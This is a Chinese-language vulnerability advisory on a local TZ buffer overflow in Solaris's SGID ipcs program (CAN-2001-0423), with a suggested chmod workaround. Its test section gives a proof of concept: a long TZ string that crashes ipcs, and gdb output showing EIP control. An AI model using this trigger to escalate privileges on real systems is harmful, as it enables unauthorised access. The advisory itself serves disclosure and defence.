Solaris IPCS 时区变量本地缓冲区溢出漏洞
发布日期:2001-04-19
更新日期:2001-04-19
受影响系统:
Sun Solaris 7.0 x86
Sun Solaris 8.0 x86
描述:
BUGTRAQ ID: 2581
CVE(CAN) ID:
CAN-2001-0423
Solaris 所带的ipcs程序缺省设置了SGID sys属性。由于它在处理一个环境变量
时存在一个问题,可能导致本地用户提升权限。如果把环境变量TZ(时区)设置成
一个很大的字符串,就可能导致一个缓冲区溢出的发生,攻击者可以以sys组权限
执行任意代码。
这个漏洞影响SPARC和x86平台,但是似乎只有x86平台下才可能攻击成功。
<*来源:Riley Hassell (
riley@eeye.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
bash-2.03$ TZ=`perl -e 'print "A"x1035'`
bash-2.03$ /usr/bin/i86/ipcs
IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001
Message Queue facility inactive.
T ID KEY MODE OWNER GROUP
Shared Memory:
m 0 0x500004d3 --rw-r--r-- root root
Semaphore facility inactive.
Segmentation Fault (core dumped)
Note: [buffer] is any 1036 (or so) character string. A's...
bash-2.03$ su root
Password:
# gdb /usr/bin/i86/ipcs core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
<snip>
#0 0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb)
建议:
临时解决方法:
NSFOCUS建议您暂时去掉ipcs的sgid属性:
chmod g-s /usr/bin/i86/ipcs
chmod g-s /usr/bin/sparcv7/ipcs
chmod g-s /usr/bin/sparcv9/ipcs
厂商补丁:
暂无
浏览次数:3985
严重程度:0(网友投票)